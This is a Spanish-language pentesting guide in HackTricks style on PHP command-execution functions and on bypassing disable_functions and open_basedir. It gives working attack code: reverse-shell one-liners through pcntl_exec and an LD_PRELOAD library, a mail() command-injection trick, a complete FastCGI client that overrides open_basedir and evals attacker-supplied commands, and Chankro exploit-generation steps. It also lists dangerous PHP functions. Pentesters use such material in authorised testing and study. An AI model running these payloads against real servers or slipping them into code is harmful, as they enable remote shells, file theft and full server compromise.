# PHP - Funciones Útiles y bypass de disable_functions/open_basedir {{#include ../../../../banners/hacktricks-training.md}} ## Ejecución de Comandos y Código PHP ### Ejecución de Comandos PHP **Nota:** Un [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshell puede **automáticamente** verificar y eludir la siguiente función si algunas de ellas están deshabilitadas. **exec** - Devuelve la última línea de la salida de los comandos ```bash echo exec("uname -a"); ``` **passthru** - Pasa la salida de comandos directamente al navegador ```bash echo passthru("uname -a"); ``` **system** - Pasa la salida de los comandos directamente al navegador y devuelve la última línea. ```bash echo system("uname -a"); ``` **shell_exec** - Devuelve la salida de los comandos ```bash echo shell_exec("uname -a"); ``` \`\` (backticks) - Igual que shell_exec() ```bash echo `uname -a` ``` **popen** - Abre un pipe de lectura o escritura a un proceso de un comando ```bash echo fread(popen("/bin/ls /", "r"), 4096); ``` **proc_open** - Similar a popen() pero con un mayor grado de control ```bash proc_close(proc_open("uname -a",array(),$something)); ``` **preg_replace** ```php ``` **pcntl_exec** - Ejecuta un programa (por defecto en PHP moderno y no tan moderno, necesitas cargar el módulo `pcntl.so` para usar esta función) ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` **mail / mb_send_mail** - Esta función se utiliza para enviar correos, pero también se puede abusar para inyectar comandos arbitrarios dentro del parámetro `$options`. Esto se debe a que la **función `mail` de php** generalmente llama al binario `sendmail` dentro del sistema y te permite **agregar opciones adicionales**. Sin embargo, no podrás ver la salida del comando ejecutado, por lo que se recomienda crear un script de shell que escriba la salida en un archivo, ejecutarlo usando mail y imprimir la salida: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` **dl** - Esta función se puede utilizar para cargar dinámicamente una extensión de PHP. Esta función no siempre estará presente, por lo que debes verificar si está disponible antes de intentar explotarla. Lee [esta página para aprender cómo explotar esta función](disable_functions-bypass-dl-function.md). ### Ejecución de Código PHP Aparte de eval, hay otras formas de ejecutar código PHP: include/require se pueden utilizar para la ejecución remota de código en forma de vulnerabilidades de Inclusión de Archivos Locales e Inclusión de Archivos Remotos. ```php ${} // If your input gets reflected in any PHP string, it will be executed. eval() assert() // identical to eval() preg_replace('/.*/e',...) // e does an eval() on the match create_function() // Create a function and use eval() include() include_once() require() require_once() $_GET['func_name']($_GET['argument']); $func = new ReflectionFunction($_GET['func_name']); $func->invoke(); // or $func->invokeArgs(array()); // or serialize/unserialize function ``` ## disable_functions & open_basedir **Funciones deshabilitadas** es la configuración que se puede configurar en archivos `.ini` en PHP que **prohíbe** el uso de las **funciones** indicadas. **Open basedir** es la configuración que indica a PHP la carpeta a la que puede acceder.\ La configuración de PHP suele estar en la ruta _/etc/php7/conf.d_ o similar. Ambas configuraciones se pueden ver en la salida de **`phpinfo()`**: ![](https://0xrick.github.io/images/hackthebox/kryptos/17.png) ![](<../../../../images/image (493).png>) ## open_basedir Bypass `open_basedir` configurará las carpetas a las que PHP puede acceder, **no podrás escribir/leer/ejecutar ningún archivo fuera** de esas carpetas, pero también **ni siquiera podrás listar** otros directorios.\ Sin embargo, si de alguna manera puedes ejecutar código PHP arbitrario, puedes **intentar** el siguiente fragmento de **códigos** para intentar **eludir** la restricción. ### Listando dirs con glob:// bypass En este primer ejemplo se utiliza el protocolo `glob://` con algún bypass de ruta: ```php __toString(); } $it = new DirectoryIterator("glob:///v??/run/.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}
"; } ``` **Nota1**: En la ruta también puedes usar `/e??/*` para listar `/etc/*` y cualquier otra carpeta.\ **Nota2**: Parece que parte del código está duplicado, ¡pero eso es realmente necesario!\ **Nota3**: Este ejemplo solo es útil para listar carpetas, no para leer archivos. ### Bypass completo de open_basedir abusando de FastCGI Si quieres **aprender más sobre PHP-FPM y FastCGI** puedes leer la [primera sección de esta página](disable_functions-bypass-php-fpm-fastcgi.md).\ Si **`php-fpm`** está configurado, puedes abusar de él para eludir completamente **open_basedir**: ![](<../../../../images/image (545).png>) ![](<../../../../images/image (577).png>) Ten en cuenta que lo primero que necesitas hacer es encontrar dónde está el **socket unix de php-fpm**. Suele estar bajo `/var/run`, así que puedes **usar el código anterior para listar el directorio y encontrarlo**.\ Código de [aquí](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy). ```php * @version 1.0 */ class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } /** * Execute a request to the FastCGI application * * @param array $params Array of parameters * @param String $stdin Content * @return String */ public function request(array $params, $stdin) { $response = ''; $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); fwrite($this->_sock, $request); do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { $response .= $resp['content']; } } while ($resp && $resp['type'] != self::END_REQUEST); var_dump($resp); if (!is_array($resp)) { throw new Exception('Bad request'); } switch (ord($resp['content']{4})) { case self::CANT_MPX_CONN: throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('New request rejected; too busy [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Role value not known [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $response; } } } ?> "; // php payload -- Doesnt do anything $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; //$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php"; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); // print_r($_REQUEST); // print_r($params); //echo "Call: $uri\n\n"; echo $client->request($params, $code)."\n"; ?> ``` Estos scripts se comunicarán con el **socket unix de php-fpm** (generalmente ubicado en /var/run si se usa fpm) para ejecutar código arbitrario. La configuración de `open_basedir` será sobrescrita por el atributo **PHP_VALUE** que se envía.\ Nota cómo se utiliza `eval` para ejecutar el código PHP que envías dentro del parámetro **cmd**.\ También nota la **línea comentada 324**, puedes descomentarla y el **payload se conectará automáticamente a la URL dada y ejecutará el código PHP** contenido allí.\ Solo accede a `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` para obtener el contenido del archivo `/etc/passwd`. > [!WARNING] > Puede que estés pensando que de la misma manera en que hemos sobrescrito la configuración de `open_basedir` podemos **sobrescribir `disable_functions`**. Bueno, inténtalo, pero no funcionará, aparentemente **`disable_functions` solo se puede configurar en un archivo de configuración `.ini` de php** y los cambios que realices usando PHP_VALUE no serán efectivos en esta configuración específica. ## Bypass de disable_functions Si logras tener código PHP ejecutándose dentro de una máquina, probablemente querrás llevarlo al siguiente nivel y **ejecutar comandos del sistema arbitrarios**. En esta situación es habitual descubrir que la mayoría o todas las **funciones** de PHP que permiten **ejecutar comandos del sistema han sido deshabilitadas** en **`disable_functions`.**\ Así que, veamos cómo puedes eludir esta restricción (si puedes). ### Descubrimiento automático de bypass Puedes usar la herramienta [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) y te indicará qué función (si hay alguna) puedes usar para **eludir** **`disable_functions`**. ### Eludir usando otras funciones del sistema Solo regresa al principio de esta página y **verifica si alguna de las funciones que ejecutan comandos no está deshabilitada y está disponible en el entorno**. Si encuentras solo 1 de ellas, podrás usarla para ejecutar comandos del sistema arbitrarios. ### Bypass de LD_PRELOAD Es bien sabido que algunas funciones en PHP como `mail()` van a **ejecutar binarios dentro del sistema**. Por lo tanto, puedes abusar de ellas usando la variable de entorno `LD_PRELOAD` para hacer que carguen una biblioteca arbitraria que puede ejecutar cualquier cosa. #### Funciones que se pueden usar para eludir disable_functions con LD_PRELOAD - **`mail`** - **`mb_send_mail`**: Efectivo cuando el módulo `php-mbstring` está instalado. - **`imap_mail`**: Funciona si el módulo `php-imap` está presente. - **`libvirt_connect`**: Requiere el módulo `php-libvirt-php`. - **`gnupg_init`**: Utilizable con el módulo `php-gnupg` instalado. - **`new imagick()`**: Esta clase puede ser abusada para eludir restricciones. Las técnicas de explotación detalladas se pueden encontrar en un [**escrito completo aquí**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/). Puedes [**encontrar aquí**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) el script de fuzzing que se utilizó para encontrar esas funciones. Aquí hay una biblioteca que puedes compilar para abusar de la variable de entorno `LD_PRELOAD`: ```php #include #include #include #include uid_t getuid(void){ unsetenv("LD_PRELOAD"); system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\""); return 1; } ``` #### Bypass usando Chankro Para abusar de esta mala configuración, puedes [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Esta es una herramienta que **generará un exploit PHP** que necesitas subir al servidor vulnerable y ejecutarlo (acceder a él a través de la web).\ **Chankro** escribirá dentro del disco de la víctima la **biblioteca y el reverse shell** que deseas ejecutar y usará el **truco `LD_PRELOAD` + la función PHP `mail()`** para ejecutar el reverse shell. Ten en cuenta que para usar **Chankro**, `mail` y `putenv` **no pueden aparecer en la lista de `disable_functions`**.\ En el siguiente ejemplo puedes ver cómo **crear un exploit chankro** para **arch 64**, que ejecutará `whoami` y guardará la salida en _/tmp/chankro_shell.out_, chankro **escribirá la biblioteca y el payload** en _/tmp_ y el **exploit final** se llamará **bicho.php** (ese es el archivo que necesitas subir al servidor de la víctima): {{#tabs}} {{#tab name="shell.sh"}} ```php #!/bin/sh whoami > /tmp/chankro_shell.out ``` {{#endtab}} {{#tab name="Chankro"}} ```bash python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ``` {{#endtab}} {{#endtabs}} Si encuentras que la función **mail** está bloqueada por funciones deshabilitadas, aún puedes usar la función **mb_send_mail.**\ Más información sobre esta técnica y Chankro aquí: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) ### "Bypass" utilizando capacidades de PHP Ten en cuenta que usando **PHP** puedes **leer y escribir archivos, crear directorios y cambiar permisos**.\ Incluso puedes **volcar bases de datos**.\ Quizás usando **PHP** para **enumerar** la caja puedas encontrar una forma de escalar privilegios/ejecutar comandos (por ejemplo, leyendo alguna clave ssh privada). He creado un webshell que facilita mucho realizar estas acciones (ten en cuenta que la mayoría de los webshells también te ofrecerán estas opciones): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) ### Bypasses dependientes de módulos/versiones Hay varias formas de eludir disable_functions si se está utilizando algún módulo específico o explotar alguna versión específica de PHP: - [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md) - [**Bypass con FFI - Interfaz de Función Extranjera habilitada**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md) - [**Bypass a través de mem**](disable_functions-bypass-via-mem.md) - [**mod_cgi**](disable_functions-bypass-mod_cgi.md) - [**Extensión PHP Perl Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md) - [**función dl**](disable_functions-bypass-dl-function.md) - [**Este exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) - 5.\* - explotable con cambios menores al PoC - 7.0 - todas las versiones hasta la fecha - 7.1 - todas las versiones hasta la fecha - 7.2 - todas las versiones hasta la fecha - 7.3 - todas las versiones hasta la fecha - 7.4 - todas las versiones hasta la fecha - 8.0 - todas las versiones hasta la fecha - [**Desde 7.0 hasta 8.0 exploit (solo Unix)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) - [**PHP 7.0=7.4 (\*nix)**](disable_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only) - [**Imagick 3.3.0 PHP >= 5.4**](disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) - [**PHP 5.x Shellsock**](disable_functions-php-5.x-shellshock-exploit.md) - [**PHP 5.2.4 ionCube**](disable_functions-php-5.2.4-ioncube-extension-exploit.md) - [**PHP <= 5.2.9 Windows**](disable_functions-bypass-php-less-than-5.2.9-on-windows.md) - [**PHP 5.2.4/5.2.5 cURL**](disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md) - [**PHP 5.2.3 -Win32std**](disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md) - [**Explotación de PHP 5.2 FOpen**](disable_functions-bypass-php-5.2-fopen-exploit.md) - [**PHP 4 >= 4.2.-, PHP 5 pcntl_exec**](disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) ### **Herramienta Automática** El siguiente script prueba algunos de los métodos comentados aquí:\ [https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php) ## Otras funciones interesantes de PHP ### Lista de funciones que aceptan callbacks Estas funciones aceptan un parámetro de cadena que podría usarse para llamar a una función de la elección del atacante. Dependiendo de la función, el atacante puede o no tener la capacidad de pasar un parámetro. En ese caso, se podría usar una función de divulgación de información como phpinfo(). [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php) [Siguiendo listas desde aquí](https://stackoverflow.com/questions/3115559/exploitable-php-functions) ```php // Function => Position of callback arguments 'ob_start' => 0, 'array_diff_uassoc' => -1, 'array_diff_ukey' => -1, 'array_filter' => 1, 'array_intersect_uassoc' => -1, 'array_intersect_ukey' => -1, 'array_map' => 0, 'array_reduce' => 1, 'array_udiff_assoc' => -1, 'array_udiff_uassoc' => array(-1, -2), 'array_udiff' => -1, 'array_uintersect_assoc' => -1, 'array_uintersect_uassoc' => array(-1, -2), 'array_uintersect' => -1, 'array_walk_recursive' => 1, 'array_walk' => 1, 'assert_options' => 1, 'uasort' => 1, 'uksort' => 1, 'usort' => 1, 'preg_replace_callback' => 1, 'spl_autoload_register' => 0, 'iterator_apply' => 1, 'call_user_func' => 0, 'call_user_func_array' => 0, 'register_shutdown_function' => 0, 'register_tick_function' => 0, 'set_error_handler' => 0, 'set_exception_handler' => 0, 'session_set_save_handler' => array(0, 1, 2, 3, 4, 5), 'sqlite_create_aggregate' => array(2, 3), 'sqlite_create_function' => 2, ``` ### Divulgación de Información La mayoría de estas llamadas a funciones no son sumideros. Pero podría ser una vulnerabilidad si alguno de los datos devueltos es visible para un atacante. Si un atacante puede ver phpinfo(), definitivamente es una vulnerabilidad. ```php phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid ``` ### Otro ```php extract // Opens the door for register_globals attacks (see study in scarlet). parse_str // works like extract if only one argument is given. putenv ini_set mail // has CRLF injection in the 3rd parameter, opens the door for spam. header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area. proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid ``` ### Funciones del Sistema de Archivos Según RATS, todas las funciones del sistema de archivos en php son desagradables. Algunas de estas no parecen muy útiles para el atacante. Otras son más útiles de lo que podrías pensar. Por ejemplo, si allow_url_fopen=On, entonces una URL puede ser utilizada como una ruta de archivo, por lo que una llamada a copy($\_GET\['s'], $\_GET\['d']); puede ser utilizada para subir un script PHP en cualquier parte del sistema. Además, si un sitio es vulnerable a una solicitud enviada a través de GET, cada una de esas funciones del sistema de archivos puede ser abusada para canalizar un ataque a otro host a través de tu servidor. **Controlador de sistema de archivos abierto** ```php fopen tmpfile bzopen gzopen SplFileObject->__construct ``` **Escribir en el sistema de archivos (parcialmente en combinación con la lectura)** ```php chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng // 2nd parameter is a path. imagewbmp // 2nd parameter is a path. image2wbmp // 2nd parameter is a path. imagejpeg // 2nd parameter is a path. imagexbm // 2nd parameter is a path. imagegif // 2nd parameter is a path. imagegd // 2nd parameter is a path. imagegd2 // 2nd parameter is a path. iptcembed ftp_get ftp_nb_get scandir ``` **Leer del sistema de archivos** ```php file_exists -- file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file -- highlight_file -- show_source php_strip_whitespace get_meta_tags ``` {{#include ../../../../banners/hacktricks-training.md}}